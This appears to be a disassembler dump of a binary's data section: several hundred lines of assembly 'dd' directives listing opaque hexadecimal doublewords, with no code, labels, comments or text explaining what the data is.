		dd 1ED09B2h, 0F9C24FD1h, 0F42D5403h, 0B58A0800h, 0D50225FAh
		dd 9D311C3Eh, 7247E7B9h, 0CF258D1Dh, 0BAFB445Ch, 7F57702h
		dd 4CB77D60h, 31955307h, 9757FA29h, 884D7F89h, 0D5CA83C0h
		dd 173AF736h, 0B8CAB96Fh, 3AB40323h, 11BD09F8h,	9B33BAF5h
		dd 12B2FD5h, 4C7B3F09h,	0E15976BEh, 55562E9Fh, 4804DD2Dh
		dd 1E9CAE5Fh, 982C5AF1h, 0F30B81A9h, 5F6AF983h,	64C0F6CDh
		dd 0BA8ECABh, 54741D31h, 9B701B74h, 0BB5001FDh,	5A43EE3Eh
		dd 2D4DBA8Bh, 0AD0CD1FAh, 4886205Dh, 0EB988Ch, 43471AB9h
		dd 37186A79h, 0BEC81700h, 562E4639h, 0B3501BFh,	585B05C1h
		dd 20E4922Bh, 15BC02ADh, 0B3AB168Ch, 0DDEEBD66h, 0CF219593h
		dd 9528ADE9h, 3AD60325h, 1A77169h, 949ACEBBh, 83322F4Fh
		dd 847FE389h, 810C70AFh, 30469CFh, 39B76B9Bh, 9AF374AEh
		dd 9A2C071h, 7856307h, 0BF97C836h, 7C065074h, 8975B4B3h
		dd 2DC49B4h, 3E7CA423h,	0C960C2B6h, 0B38017FDh,	9D03123Dh
		dd 0E93556E9h, 8C15ACCBh, 0F355252Eh, 0E42EEA2Fh, 0EEE00F7h
		dd 1D1870E3h, 21ECF515h, 0D84B2F30h, 4BF0446h, 228E26Ch
		dd 3E5CB296h, 0A6E100CFh, 5F9860F9h, 2B7E850h, 0A7BA66FEh
		dd 227F61ADh, 5EE1C220h, 51FB27BDh, 9C6688DBh, 0A48D24B4h
		dd 145D08E2h, 0A2DE6802h, 8FC1617Ah, 346A206Ah,	0A13E2124h
		dd 5086E065h, 9773BFA3h, 0DE319B99h, 0D9F4ABFFh, 0D998008Fh
		dd 0EDE1140Eh, 56E47400h, 8EB7A245h, 20A55ED8h,	423CC14Ah
		dd 9CD2D27h, 0AA897DE1h, 33008BF9h, 0E03DF16Eh,	0B0BD058Fh
		dd 8A8154FDh, 7B7F2562h, 29C8692Fh, 2716BDBFh, 8CAB761Fh
		dd 10990A0h, 1409399Dh,	0EC574BD6h, 444802F5h, 6D615B5Dh
		dd 9B69E0AAh, 96977419h, 0DE88C9DAh, 2300CFE4h,	65C78E2Ch
		dd 4F2E6456h, 2B34B1C4h
		dd 1AFBC229h, 844E933h,	35409B4Fh, 9A0362Dh, 7CBD2366h
		dd 0C31CF82h, 0D2A61D57h, 15568455h, 69F10412h,	2612AADFh
		dd 218E9FE2h, 88F6BCB7h, 65F23228h, 6B599E57h, 82563208h
		dd 0BE055ADEh, 218D9B53h, 57AC0C3Fh, 5B4AF808h,	0A62A12C9h
		dd 7571F7C2h, 202BF013h, 0D98B5716h, 2885709Dh,	0B5760E91h
		dd 0CA25785Eh, 0EF53DFAFh, 0FDA078h, 0AC4235C4h, 1A818D29h
		dd 0A99D67C2h, 0EB375E06h, 0F0738570h, 0E1DEBE09h, 6F2C8061h
		dd 9715E930h, 0DDC0CD9Ah, 96812C05h, 1366F024h,	307E84BBh
		dd 3F7317BCh, 86519700h, 0D089E31Dh, 0F65226A5h, 2407A806h
		dd 24F45933h, 8FB900AFh, 5770AD84h, 3A406296h, 107EF27h
		dd 0DAC1A679h, 20F460C5h, 0E9B5BB3Ch, 0C73159DDh, 9FC2DB7Fh
		dd 248770Bh, 52317DB5h,	84FD4B82h, 0AC00BD1Ah, 62008C1Ah
		dd 308A1550h, 588BD1BEh, 68C032DAh, 1103C687h, 0F24EE7B8h
		dd 0F6D29BE9h, 4C7CA0A9h, 95091265h, 81BA207Dh,	1E5648D7h
		dd 0E65731F6h, 5F0112B1h, 0EA814460h, 2F51D849h, 5C618981h
		dd 2E4DEBB8h, 2BEE6F40h, 95311648h, 129FB2E5h, 0BAB91441h
		dd 1CD8B0D2h, 95878282h, 0A670730Eh, 2EC53A84h,	0D51CD3B2h
		dd 76A9801Fh, 2C17FB6Ch, 0D00BC216h, 0E7695BC0h, 0EC09B52Ah
		dd 53974778h, 450C7039h, 0B5FCF000h, 0D6E4F4DCh, 9010BD14h
		dd 67009304h, 6D41A2F7h, 4E0559E3h, 0B97684D3h,	79B87Ch
		dd 0B4E20B64h, 0CF44413Bh, 6A8D764Eh, 112D386Ah, 91106F00h
		dd 5E6EB632h, 0BD51043Ch, 0E8FAFE52h, 8FE75E5Eh, 0F8C1E8B1h
		dd 2B131A34h, 75A2E59Dh, 0B614044Ah, 0A99C95B5h, 2B3EC15h
		dd 8EBADCD3h, 35DC5E25h, 8CFA5616h, 0CD209528h,	3ED39D2Eh
		dd 0FAC38000h, 13BFD381h, 7753757h, 4968B753h, 12C528CDh
		dd 0DE0022A2h, 7BA00166h, 5A009875h, 7CC71FF7h,	0B92740F3h
		dd 0C8068FA0h, 0C2254F84h, 2F421975h, 4E582565h, 0E264014Ah
		dd 0CC1A087h, 629A2191h, 0B6E65A0Ah, 4A3016B2h,	9D204E0h
		dd 0AE22D585h, 4922A08Eh, 96501290h, 0E4BAFECEh, 36B07F88h
		dd 0B237CD12h, 0F30380F2h, 0BAAE7559h, 5B3C81C8h, 5CC45F5Bh
		dd 0F5851B00h, 0B092BED3h, 0E2964E0Bh, 4F200079h, 0F14443E4h
		dd 61D1CBBh, 0E13ED723h, 0B7488997h, 0D6495EFBh, 0EA051746h
		dd 0BA2C36C1h, 0D2BF0263h, 0C4BB7606h, 0E010410Dh, 0D2E0AD18h
		dd 6560029Ch, 0A62CE19h, 0F4A53A74h, 3900F483h,	0C29CD4A8h
		dd 4E7DCA1Bh, 353A8A24h, 0E6BF3059h, 0FD6E085h,	0D8DA0022h
		dd 750553D1h, 4DB7F982h, 601B6430h, 7B3FF9DFh, 0DDBF175Dh
		dd 0F17712ECh, 652E02Bh, 0D332032Dh, 1817D921h,	0B3F017C2h
		dd 2E43019Fh, 2B4AE974h, 27B65FC4h, 6A67F3E1h, 57369382h
		dd 82527684h, 4EC9B1B4h, 0E8352F5Fh, 41967130h,	1B620419h
		dd 0B5F6CAAAh, 5A096B9Dh, 54A9EAF8h, 0F203DC84h, 0C5C0BFE8h
		dd 0A0EA095Eh, 0D4D36A90h, 1A9BE78h, 0D051F969h, 89F707DDh
		dd 7BD187A4h, 7261D0B2h, 0E8C98DA0h, 8093EB49h,	7CD2AD27h
		dd 7EE0ACh, 473B42CAh, 0C083851Ah, 78C8739Dh, 0D600F5C6h
		dd 758C937Bh, 0B724CE03h, 44079C4h, 0F9014482h,	0D46097AFh
		dd 384E7Ch, 0E05D8267h,	0D9D31EFh, 0B79F8DB9h, 8274667h
		dd 1885B529h, 54DD052h,	0BD31F71Dh, 0C425AFD1h,	0F4E342F6h
		dd 34891FC0h, 0B5A4F09Fh, 0E5257FD4h, 3EA6110Eh, 0C92DA789h
		dd 6E6E02BFh, 453A160Ch, 0E5000FF2h, 0A765F78h,	0B4000704h
		dd 0E3B157CEh, 4F3EA3Dh, 1DD919D6h, 0C240A850h,	5CE88A60h
		dd 0B6D7228Ah, 0D9E6DC6Ch, 33573010h, 0FDB4131h, 6EFD4988h
		dd 1085EAC5h, 0F051E6BAh, 2DBBEAB5h, 0EE04FB9Ch, 5E744916h
		dd 0E6D37179h, 510C5009h, 6E2FAB6Eh, 57330269h,	745EE37Ch
		dd 95016102h, 9FDB6C0Dh, 18F1191h, 0BC2BB924h, 1364A595h
		dd 0B75B6CB8h, 2B20E7E0h, 5BE0C9h, 7101F939h, 1BD9B589h
		dd 6290BA97h, 0F7C7B358h, 1555B5F1h, 2E60CA6Bh,	3964F4DAh
		dd 0BE982FBCh, 0E68019F5h, 25F9F070h, 0FE7C71E4h, 44167269h
		dd 9D3489B8h, 19B867FDh, 0DD8D1179h, 2212D325h,	16D2F715h
		dd 0C8FB15E9h, 8533319Fh, 4E2B8B61h, 8B4E2044h,	0C9F029D1h
		dd 7AE99BC6h, 584DB055h, 441CA9FFh, 3B34644Ch, 0AC7D1534h
		dd 0EB810EEEh, 323DE49Ch, 163B62AFh, 0BCDDBD10h, 174C9A28h
		dd 0BF1D4C0h, 0E384F596h, 0E2B876D8h, 5912C5D0h, 8841BD1Ch
		dd 0B2D9A72Ch, 0E94B9EA8h, 0DAAD45C4h, 90751F92h, 518A3C32h
		dd 496605C9h, 4E5E0426h, 81651450h, 0DB814253h,	4D7F7F42h
		dd 5E3AE072h, 91360D0h,	0ECB22255h, 0F4D60400h,	0CCDEE026h
		dd 3E1EF91Dh, 0C6FE8687h, 0D1BCB3E4h, 0D7AAE680h, 0A81F5A3Bh
		dd 1D006B7Fh, 3916199Dh, 5B7625AEh, 0CD9707EEh,	76AD412Ah
		dd 5C4DFC48h, 66592200h, 3DEFBBDAh, 0B9781271h,	6B22C48Ah
		dd 0E949002Fh, 0F7ADCA6Bh, 7C4F0A48h, 4FBFC3Bh,	0B88232EBh
		dd 4D0269F6h, 0C72DC0ECh, 65ECBDAh, 242A0BB1h, 0E096B69Bh
		dd 491B97h, 59367427h, 8B5A8252h, 234AFABCh, 0DD244D09h
		dd 0A2873732h, 695EFBE9h, 81179155h, 12D040E6h,	48757370h
		dd 0E1135D01h, 0F229AF07h, 67A8A079h, 3A705501h, 8239F28Ch
		dd 0C5C55C92h, 0ACA7BDCAh, 94078C1Ch, 9C4F68CBh, 71B9A021h
		dd 53DB302Eh, 0B03BCCBBh, 0C55F252Eh, 0F88A62DCh, 9DDC515Ch
		dd 0B8251846h, 12DEC5FAh, 0ECF5BD85h, 0CCF40084h, 0A160B80Fh
		dd 191EB418h, 4A38FB8Bh, 50ECFDA9h, 0B62A7C01h,	0AC77C816h
		dd 0BC71D043h, 9BD3E1B9h, 858E9F56h, 0C71BC2F9h, 0C225D68h
		dd 2F1E28C9h, 0DB6F043Ch, 1CEEC640h, 26DAE48Dh,	13B0FC92h
		dd 560DE488h, 14975F71h, 1D2997DEh, 0DA44B559h,	0A0A2B635h
		dd 4F41F6Eh, 0FC648579h, 0E03BF660h, 97989985h,	994B10Dh
		dd 97132BF7h, 491372A2h, 0C072EBD9h, 95027A50h,	57EC86A4h
		dd 6417DEB8h, 5FC10473h, 0CB34AC33h, 2B2C8429h,	81B870AFh
		dd 3612F6DFh, 20EA56F0h, 95B34617h, 1900FC79h, 0BB37DA6Bh
		dd 49BEC951h, 8C4CBB53h, 2149BC58h, 180003BCh, 0B29F6536h
		dd 3EB39932h, 0E01E811Dh, 0BB4287D2h, 6849F133h, 4582726Ah
		dd 6E0CE4E3h, 53ACE113h, 44DA6E01h, 8C87815Fh, 0C93D95F3h
		dd 20DB682h, 6EBA354h, 0EC19358Ch, 0FC4EB485h, 70937F00h
		dd 0F7784DE8h, 0A8A25AADh, 0E9AC4492h, 7AFBEA5Bh, 474D17B7h
		dd 9DACC9C4h, 0ACFC84D3h, 23B6D39Bh, 0E34468E2h, 598B5650h
		dd 561DCABFh, 0AE46BBDh, 77BA9A95h, 6B912089h, 0F0012606h
		dd 967E284h, 938D3DACh,	0A584698Eh, 59F0A427h, 93FC2140h
		dd 0D3800463h, 4E65B830h, 821D2B6Eh, 2E41447Fh,	0C08A35Fh
		dd 679DBD33h, 78BB0096h, 500E17BAh, 76F311B3h, 9A8CF133h
		dd 8922F03Eh, 2BC9B512h, 5AE12DAEh, 9718C03Eh, 0FC960C70h
		dd 0FD1E0616h, 2511870Fh, 0E8E21395h, 2E5D655Ch, 2F3EADF9h
		dd 0B90955h, 3EF7E115h,	0AB680129h, 50099C9Bh, 3F3352h
		dd 5EF4CED3h, 129416EAh, 0E5D562DBh, 0C9012B67h, 9839854h
		dd 4A8DB820h, 0CEF9B90Ah, 2445C401h, 0B94EB1F9h, 0BC9B497Fh
		dd 14762501h, 70E82844h, 0E0CCB703h, 25773C44h,	0F8BC96Eh
		dd 46D6E25Eh, 3BB00417h, 8F817F5Dh, 0BF001419h,	0D6128791h
		dd 30FB6177h, 41A5097Fh, 668C0E00h, 883F3E97h, 1BC3BDBFh
		dd 15F0FF4h, 15B2BE36h,	4E7B8F6Bh, 0B300D36Ah, 613E31Fh
		dd 8724B5C9h, 311030Dh
		dd 0FB25144Ch, 1D12987Ch, 538929E3h, 801BBD7Fh,	3D71501Eh
		dd 0BEA0FC60h, 0F19D53CAh, 3EE98B90h, 97D8BDFBh, 0EAA302CFh
		dd 4505E379h, 0F2A835D7h, 0F0D2E639h, 0FB0499A6h, 822A10C2h
		dd 0D5B88AADh, 0FC11D012h, 7B8438F2h, 2692104h,	68C50923h
		dd 3C60FF04h, 2A4CEBh, 6308BCA6h, 845A1F54h, 0D8560101h
		dd 197F269Dh, 9E29A22Ah, 84B763B3h, 0D2699AABh,	63AF9Ch
		dd 980E95D5h, 96B1408Dh, 5D9D3108h, 0A4D43707h,	0ABB91224h
		dd 0A889E9D3h, 64C5482Ah, 1E19C110h, 23340F96h,	0AAB2685h
		dd 4B7BF891h, 1435B003h, 0C5BD8F12h, 0E6A47DBCh, 27B3E007h
		dd 53710B4Eh, 0AFF60125h, 1C415069h, 0E9B7D035h, 8DEDAFB3h
		dd 0E76349E0h, 41760974h, 0E624B9F9h, 0B3CBEB01h, 8167DA5Fh
		dd 7CA11C22h, 9EDD202Bh, 0A8EEE55Ch, 0A7E3D301h, 122787EFh
		dd 342BF271h, 0B22AB694h, 2EC43114h, 6FAF8416h,	0DC9400F9h
		dd 0ECBB66A5h, 720497D8h, 29ADC209h, 0CDFE5704h, 2FFD21B6h
		dd 5C5BB892h, 0B0606161h, 0C6DC40D5h, 614B46DFh, 26B95185h
		dd 0B588BBD7h, 0FE29005Ch, 49A9DE07h, 2161E75h,	17B66A60h
		dd 364AEF4h, 576DF209h,	2909AA14h, 2023358Dh, 0B9666080h
		dd 21C85F13h, 0C4D02E72h, 75001202h, 67F056A9h,	5AB6F34Ah
		dd 0C0C4EC61h, 3B483341h, 12964A75h, 0AE45C491h, 1923466Bh
		dd 0B9AA0800h, 0B8C1D43Bh, 69981C69h, 0CCE654Fh, 0CA58B0B3h
		dd 67AE0058h, 4416DAE8h, 8D3A891Ah, 128E4B25h, 0D1EE8125h
		dd 0C578300h, 0E738CECFh, 67E400B3h, 0B215088Eh, 0A625B020h
		dd 9D2791Ah, 0B8005A52h, 505BD5B6h, 716824A8h, 6BB72500h
		dd 83F64808h, 0F5AE0036h, 0F2DC0B2Eh, 0BF1D6EE9h, 27123DF7h
		dd 0B96252BBh, 17E2B8BEh, 0C8CBBECAh, 8B007B74h, 4886E18h
		dd 12CC30Dh, 7369D3AEh,	3EE9EF49h, 0A13116A0h, 0EB4A2288h
		dd 0ECFA8B16h, 0F05A758Ch, 14B27CE6h, 237BD131h, 66F0F583h
		dd 47030CEFh, 19261D5h,	0E580DF54h, 0B7307D3Eh,	1703F084h
		dd 9D08F608h, 0D8EDB52h, 355DE987h, 821B9108h, 7C3671BBh
		dd 0BD89407Ch, 0C5B5188Dh, 0D65FA4B2h, 0DF34AC5Ah, 89A58AACh
		dd 0CF2F1AE3h, 36EF80FBh, 9719F971h, 19918635h,	3514B280h
		dd 38125E12h, 0C2A4C6F8h, 959F923Dh, 1D9184BDh,	0F0DC8587h
		dd 0B9092CF4h, 771C1814h, 27111095h, 232AC4Fh, 0E933B5C8h
		dd 0A284573Ch, 1676B853h, 13BA255Dh, 804FACFEh,	0E352E0CAh
		dd 0AB9F0954h, 7D711699h, 0D6C7809Ch, 0B9106050h, 5E924CF7h
		dd 8522FB29h, 6900D661h, 0ABAF0554h, 7121D3F8h,	55E2016h
		dd 9AEBF88h, 6A735EC8h,	0BDE2C74h, 861B7E33h, 3116D5DAh
		dd 27BF7985h, 0EBF862DAh, 8074B7F5h, 6223FD39h,	0C290610Dh
		dd 5E2B0925h, 4D35C99Dh, 913081B8h, 1E860FD2h, 8D251BBBh
		dd 0FA501074h, 0F5F20010h, 885E625Ah, 8034594h,	9F21B312h
		dd 9B3DE09Eh, 4DB52C89h, 0BF508E7Bh, 47A979C2h,	9F3DD489h
		dd 1114BE02h, 0D587605Ch, 51DF8232h, 0E0501355h, 0F8821221h
		dd 252B9810h, 85D31D41h, 4A0CE0F3h, 90DA24EAh, 1C610BB5h
		dd 97764CDFh, 2BBF1300h, 554B9025h, 9BBD298h, 0D1FFB75Dh
		dd 42C01D4Dh, 0B344886h, 2157BE3Eh, 0C7811880h,	8B19327Bh
		dd 61F7A58Dh, 0AC92843Ah, 5E7FA3D7h, 7E6BFB51h,	4F58A101h
		dd 0D881270Ch, 0D91DB70Fh, 0D7D6026Ah, 68FBBF03h, 50083B90h
		dd 0A24AA8BBh, 62EA00E7h, 0B44C9D8Eh, 2F82B9FDh, 5CD0CAFBh
		dd 0C94C02A0h, 1ACDBD33h, 80C751F7h, 0C04FBCBBh, 20007635h
		dd 4650FD94h, 0E8196DC7h, 8E4B4BE9h, 0CA8324B0h, 0DEED2Eh
		dd 0E7F65D6h, 6C192322h, 5C41EF96h, 3ECC69F2h, 8B800116h
		dd 0E47FDBEFh, 2FD0C4B3h, 1A979BE0h, 0D53082C4h, 3D9D4406h
		dd 0C22F836h, 0F0A2605Eh, 0C9C66D00h, 20D09E75h, 89B52316h
		dd 615E5B44h, 8A84D2B9h, 0B8CEB9DDh, 81958C14h,	0E70AEB66h
		dd 454203Bh, 9704B4FEh,	0D9462A6Ch, 253D4BC1h, 0BAD75B02h
		dd 504D7B87h, 2B48FD71h, 96C81CA3h, 752256C0h, 0BEFF6A5Ah
		dd 0C700DC34h, 0F82BBEAAh, 0EF38167h, 69D7B182h, 0C311E3C0h
		dd 5BB83321h, 0FB9F24ECh, 5DB7D029h, 27678301h,	0E72C2AB2h
		dd 25E05CE6h, 8204ECCh,	388C9701h, 95128917h, 54F42709h
		dd 34874B0Fh, 0E6F62180h, 95303F70h, 31B06746h,	6D4227C7h
		dd 895B031Ch, 1C3471E4h, 401A31EFh, 22BA120h, 90725E61h
		dd 15B584C2h, 14FA9B77h, 2FCC535Bh, 0B8E6B55Fh,	9FAD858h
		dd 0DD698D09h, 0A5401738h, 4BC420Bh, 9D88D041h,	0B725627Ah
		dd 0DA8CE31Bh, 0AF40D7FBh, 8197FFBFh, 2005B585h, 0C02C7112h
		dd 5691A835h, 3ABF1766h, 50A68028h, 4750554Ch, 114B81A9h
		dd 1E238EC8h, 7C0BB9BDh, 0A0FA00C5h, 264B12F0h,	2B0B94D2h
		dd 146CA5Ch, 0F7045A4Ah, 347862CAh, 2D875E4Eh, 0F996CDF1h
		dd 0B7C4C5BDh, 93D90DDEh, 4550CA0h, 0C23A3BBh, 827CBD40h
		dd 0DBEB749Eh, 0CB3078B3h, 2B98A471h, 9216A54Ah, 19046C7Bh
		dd 0BC4EA61Ch, 10A8D06Eh, 0B9090379h, 0AC5B0F8Fh, 8DDBDFD2h
		dd 921DF327h, 294BF1F8h, 12B8B86Fh, 82FDB501h, 3755FC36h
		dd 0A0900AE4h, 0D11D17DCh, 6F998DD1h, 0BFB8F609h, 2BCD84AFh
		dd 546EAED2h, 8438250Bh, 710053E7h, 7652250Ah, 378807A7h
		dd 6969BF87h, 7E6BAFDCh, 0F7141284h, 0BBFDD695h, 0E107B6A8h
		dd 0BD2BAA7Fh, 0FB2FBF9Ah, 570D7886h, 0CF38661Fh, 60BEFD16h
		dd 24219DBFh, 1BFB097h,	0E8254E95h, 78B8A48Ah, 0D3D5BFC3h
		dd 97572CEAh, 63196452h, 48F187D2h, 206F2E72h, 424733F0h
		dd 63FC1609h, 0A42C54A8h, 0E81B9659h, 2B49E27Dh, 1CBC7818h
		dd 2F67FB12h, 18CD30EAh, 8E485C59h, 4CE3D249h, 0DD952905h
		dd 48DEE27h, 80CB9A3Eh,	0B099EECh, 0AACF2580h, 70094CE5h
		dd 0D0057B04h, 971C1C38h, 0FC529964h, 5C8D41F2h, 0BD416D5Eh
		dd 9D53C0FEh, 0E72E25EDh, 0D0CCB3D4h, 6D949717h, 4C30ED45h
		dd 806009F9h, 337819D3h, 2D17B7BDh, 0B302E356h,	0F6E1803Eh
		dd 9F0EDE23h, 0A094DE38h, 218D0BE5h, 5EA297B1h,	0BDFF01B0h
		dd 0F8BB00FBh, 89300317h, 41699D38h, 8D1B117Fh,	0AD89AD5Eh
		dd 0A5F7603Eh, 2A02C4DCh, 0E5087E4Eh, 0A79F5E22h, 0FC40714Fh
		dd 24C511Dh, 6E74DF28h,	0D46160ACh, 42E84961h, 520F32ACh
		dd 0F3C043ACh, 6F06D1F5h, 98287F00h, 423EF097h,	0B2544CA7h
		dd 12903105h, 5D16EBEBh, 3F779ABDh, 205B0FFAh, 0DD24332Bh
		dd 137D7300h, 566DF238h, 4F95011Ch, 2ABC2803h, 1A1D7076h
		dd 585BBA27h, 92B7B567h, 0DCBA7A09h, 26360C33h,	2009BF44h
		dd 5E1A3E7Eh, 0DBBB588Bh, 0B205434Fh, 0A3EB5856h, 0C02C48DFh
		dd 0C3D9078Fh, 0FB281F98h, 3CC900E3h, 0A03518Ah, 25247195h
		dd 711A473h, 3D3DF05Eh,	0AEEA4613h, 0A2B864EEh,	64B8071Ch
		dd 2C207858h, 3C5ED1EDh, 8CCB5F61h, 81500F2Fh, 3E906018h
		dd 5A2B4120h, 0AACBE861h, 137A0070h, 0E9A4DB80h, 0FB9501A5h
		dd 0BCD71724h, 96E8B1EDh, 0E87A8DE5h, 465F27C5h, 0AD619F22h
		dd 9BA26B1Bh, 663EC29Dh, 374673Ah, 0D8045164h, 0BA9D735Fh
		dd 35773225h, 925D2FC1h, 5CD6B2E6h, 196D27F1h, 0E96267C0h
		dd 95C714FEh, 0B910C9F8h, 4B305E09h, 0B5BAF5Ah,	34899D4Eh
		dd 80C9B757h, 687332FCh, 89172D27h, 0D2BEF1B5h,	0EF7F3EC0h
		dd 0EA906477h, 198D6462h, 233F0982h, 25A823F9h,	0E3071460h
		dd 0E141CE36h, 67C673E0h
		dd 68150230h, 84BE0D6Ch, 0FAA8B241h, 93029A76h,	4D7B60F6h
		dd 0B5ECEEEFh, 2284089Ch, 8B000283h, 0D2E381FBh, 9D28A0B4h
		dd 6C600D19h, 1F21200Dh, 539AC1BEh, 50770036h, 913571BBh
		dd 0B7954D77h, 81DF2F9Ah, 139D9FC9h, 0A14BD826h, 0EF953E5Ch
		dd 24BAD216h, 0F4CDB800h, 43A8C3ADh, 0B5903C7Ch, 0C7297525h
		dd 33A521B5h, 77693D82h, 97575632h, 0C49DB8E9h,	80BC01D5h
		dd 6FBD97EEh, 8B5ABFA8h, 0C84BA0A2h, 0AC0150F3h, 0DAC5B4F4h
		dd 282FF541h, 6BD0826Ch, 9CC01493h, 371B1B5h, 0DE82E6Dh
		dd 4AADEF07h, 5109DC01h, 4DBA616h, 121FED85h, 883BA000h
		dd 9761457Eh, 0D8298299h, 719D28B5h, 3DB56BEFh,	380AB202h
		dd 71C88963h, 0B18CB376h, 0A95009F4h, 70467B6Bh, 421C058Eh
		dd 22C69BDCh, 255CBE0Fh, 0F14E0B11h, 5F6F1A97h,	49700B08h
		dd 42001659h, 0F6636211h, 66E30304h, 201A48BCh,	0D22CBC9Ch
		dd 9F8074F8h, 0FF2529D5h, 5500ACEAh, 0BE280F7h,	76E57BB0h
		dd 3A8C27B3h, 6E091019h, 5B2503B2h, 0BB041FE6h,	72329B3Fh
		dd 6032B2B3h, 4568CFB0h, 6181195Dh, 0A7E6D5C6h,	0C08A0671h
		dd 952311D0h, 53690671h, 0EC1E5118h, 3409A7E2h,	0D7C44B9Fh
		dd 6F57D031h, 21EAFA20h, 0B53100B0h, 6BCFEFFFh,	160BB1C0h
		dd 418F8D61h, 0A0522D33h, 0BF2BF85Fh, 12C0EA4Dh, 4CE0AE0h
		dd 31C13FCDh, 612BB56h,	17B7EBBh, 903C0F10h, 0AC89D5F7h
		dd 7DFE2CE9h, 50B75B5Ah, 1F04BDECh, 9AD9BC0Dh, 84950083h
		dd 0BED324BAh, 3B6789h,	0CFDF69DCh, 40EE2E5Bh, 3A4B9500h
		dd 0CA37D555h, 754148F1h, 93B3132h, 63A6BB20h, 6DA93B1Ah
		dd 24EC6B73h, 5DF39ADFh, 7CD8EEABh, 96168C12h, 1249290Eh
		dd 12239728h, 0B91165BDh, 8C15BC5Eh, 0E5E3FE25h, 3E321145h
		dd 48B1AD33h, 9DD98A68h, 4DD75C8Bh, 0ED43C057h,	5A02F32Eh
		dd 579D3BF0h, 0D6E15EB6h, 5C001D46h, 0AC372752h, 6FE679ADh
		dd 0DD6A455Ch, 0E7BF2540h, 0F70890h, 84C168BDh,	9F4E8DE6h
		dd 29CCE54Bh, 0DBD1429h, 0ECA4BA04h, 0C76D2547h, 4B56919Eh
		dd 887AC1A8h, 0E49F52B4h, 0B66B1C0Fh, 0B9724475h, 3510BE33h
		dd 79A44EF2h, 8C614B5Fh, 59FC319Ch, 17C667CEh, 7526FBEh
		dd 0E49373CBh, 2570BD76h, 0A1C717FDh, 0DBD78081h, 162EC2E9h
		dd 80A19B73h, 1513084Ch, 4F8100BFh, 0C18B550Fh,	6227A2BBh
		dd 550A5E57h, 70AFA981h, 0BC35A8F4h, 81BB9315h,	16777DCh
		dd 32C5511Dh, 0EE91CDEEh, 0A00D3B00h, 2317F1D7h, 74E2D59Dh
		dd 9D860F10h, 80D8BF81h, 1C8C54EBh, 0C2E2D98Bh,	74EC072Dh
		dd 9A1DDEE8h, 5B8097E8h, 6423FFD9h, 0FE8B33E5h,	0ABC51DF0h
		dd 0E144D7D8h, 0B0E5520h, 0BD9910A7h, 226A2ADDh, 62BF1B17h
		dd 8409041Ah, 8FAB2299h, 0C91CC84Ah, 2E096B64h,	5D66D76Fh
		dd 1A2A7784h, 0B759C4ACh, 11B1C122h, 5CEB2B5Ch,	32EDE91Ch
		dd 5685244Eh, 29FBA9C4h, 4376E4A9h, 17F5E09h, 60AFDCBFh
		dd 78DD733Dh, 8C715BBDh, 0D1A505A9h, 2DF3C097h,	2E61812Ch
		dd 0BF8E3A28h, 9980833Dh, 0C7917F6Eh, 25C0E0CEh, 9BFB026Ah
		dd 487770h, 0CA72ACFh, 4DE3813Fh, 1A8EA80Bh, 8244A051h
		dd 0B1905B4Eh, 6C9A806Ah, 8E27739Fh, 0D4DFC800h, 48B78CF5h
		dd 0F095008Fh, 3502C52Ch, 19909050h, 319620EAh,	0C22DF196h
		dd 10FAB77Bh, 0E93A0A55h, 0E201BC4Eh, 48934BCCh, 1D25CFA2h
		dd 0E90AFD37h, 2D08DE57h, 525B1827h, 805A2EE3h,	3AA7ABCh
		dd 0CEA6C57h, 6BDE1F0h,	31231FE5h, 7841000h, 3BEE3F34h
		dd 8E36A301h, 8CC12069h, 3013B17Bh, 1C40792Ch, 40A1B490h
		dd 0A384EC47h, 3BBF4900h, 91671DA2h, 769025Fh, 0B32DA003h
		dd 97EA6675h, 4B7ED58h,	7FB99083h, 6A6CCA90h, 80026064h
		dd 852B4CF7h, 0CD29FD51h, 54AD8E59h, 9C03DE30h,	0D46CA93Bh
		dd 65FC88C0h, 9DF94B3Dh, 86E63B7Fh, 53755CA0h, 9FF36900h
		dd 99CF8170h, 323C092Eh, 3E04FF6Ah, 948E9C1h, 762A29B5h
		dd 0F997F4B4h, 0B7163E94h, 3412AF91h, 3D2257B6h, 1D8BC1B7h
		dd 8A510105h, 2B7786AEh, 55FAAB82h, 2EF8E0C9h, 1202E44h
		dd 6D128014h, 122EE218h, 22E27BB3h, 759D330Bh, 0BFC131C8h
		dd 0B0A94D09h, 1A62C17Bh, 581CAC04h, 22551606h,	568CAAB8h
		dd 12419126h, 0B9830A57h, 2B111921h, 0FFE562C8h, 8E8E8326h
		dd 154C58h, 9139036Eh, 47C250B9h, 0B5A0FB00h, 3B526818h
		dd 11829A8Bh, 1A09D985h, 5D41AEE9h, 4E497B82h, 0CB8142C0h
		dd 5E27CFFEh, 82E15C28h, 0C01B58Bh, 0A1C0915Ch,	355DF4Fh
		dd 595352D8h, 32426158h, 8931034Eh, 0D0BBADC6h,	0F61485h
		dd 381EEBF7h, 0DEEB9D7h, 0FBF7B7A2h, 2A4580F5h,	930C5B65h
		dd 77914F1Ch, 0B759D5C0h, 1780666Fh, 0F356B2BBh, 0C95F2599h
		dd 0B150789h, 2BF7E9B0h, 0C0F05660h, 0B948A5CBh, 26225A43h
		dd 0CD1C2A0h, 2408E595h, 5804118Dh, 514B0553h, 9E279589h
		dd 0BCDBBFA3h, 2D848CB9h, 0E5BB0784h, 0C95ADE62h, 9D2BF8A4h
		dd 0EEB66ABDh, 784FC0A7h, 0A32707C9h, 60375CA2h, 0E918DF81h
		dd 0B912411Fh, 7AFA1052h, 0D6AD5B71h, 3E312B0Bh, 0C9DE3D1Ah
		dd 98529F60h, 35543AC1h, 59662680h, 551BC3A2h, 0B5B3B1B0h
		dd 0D0B9FA16h, 24DAB71Dh, 12810972h, 0F82D4D73h, 35BC0917h
		dd 0D676D22Bh, 9EA32DDCh, 9FFE795Eh, 6ED235B0h,	28F8248h
		dd 0A501E571h, 0C5AE1C9h, 5832AE15h, 5809D533h,	8878B05Fh
		dd 0D5C916E6h, 0C018ECB3h, 0FD3F598Dh, 3BB61719h, 0F3C9AE2Bh
		dd 5E0D1830h, 0B021B788h, 17A4C5A6h, 0A0DE8BEEh, 5A4FCB17h
		dd 0B1298433h, 0F27A1171h, 0FB9D7A0h, 7A0030A8h, 0F12FA7A3h
		dd 1742210Ch, 0BBED9D89h, 28F592D1h, 0C2B98B6Bh, 0F10A810Fh
		dd 1DC32B81h, 40C5E550h, 53316C11h, 20B4178h, 54304A5Fh
		dd 7824F4C8h, 0A02F48Fh, 57ADB308h, 0B27BA33Ah,	265A850h
